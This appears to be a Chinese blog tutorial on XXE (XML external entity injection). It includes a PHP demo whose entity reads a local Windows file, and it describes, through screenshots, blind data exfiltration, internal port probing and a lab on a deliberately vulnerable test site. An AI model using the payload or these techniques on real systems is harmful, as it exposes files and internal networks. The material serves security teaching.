XML是一种可扩展性语言,经常被用来传输和存储数据。
XML包括XML声明、DTD文档类型定义、文档元素。DTD文档类型定义即可以在XML内部声明,也可以是外部引用。
内部声明:<!DOCTYOE test any >
外部声明:<!DOCTYOE test SYSTEM '' >
XXE漏洞即为XML外部实体注入
看看漏洞是如何产生的?
代码为
<?php
$xml=<<<ABC
<?xml version="1.0" ?>
<!DOCTYPE AND [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<note>
<name>&xxe;</name>
<sex>boy</sex>
</note>
ABC;
$data=simplexml_load_string($xml);
//把XML字符串载入对象中
print_r($data);
?>
simplexml_load_string函数将XML字符串进行执行,隐藏在XML文件里DTD外部引用成功得到执行,漏洞由此产生。
漏洞利用
读取任意文件内容
![](https://img.haomeiwen.com/i1734768/e46aa6f69fa8e77a.png)
进行访问,可获取到win.ini文件内容
![](https://img.haomeiwen.com/i1734768/dbe1136ce922a476.png)
我们来验证一下
![](https://img.haomeiwen.com/i1734768/da0e28d3d42b4122.png)
当没有回显的时候,只要能够被正确解析,依然可以利用。
![](https://img.haomeiwen.com/i1734768/bc3a71e50e60b33e.png)
把数据发送至远端服务器。
![](https://img.haomeiwen.com/i1734768/7297b29d2eab2edd.png)
依然可以读取文件
![](https://img.haomeiwen.com/i1734768/421e4a3cf2cb42d1.png)
探测内网端口
我这里开一台kali虚拟机进行测试,修改源码为
![](https://img.haomeiwen.com/i1734768/d585dbb6d53cc8e4.png)
再次访问
![](https://img.haomeiwen.com/i1734768/e612f983b39ad3de.png)
实验操作
访问http://testhtml5.vulnweb.com/ 网站,点击login----forgot pwd ,进行实验
抓包,进行漏洞利用
![](https://img.haomeiwen.com/i1734768/a6167b1148b554ec.png)
漏洞的利用至少满足两个条件:XML文件能成功解析、参数可控成功注入。
更多的实验和细节,参考
网友评论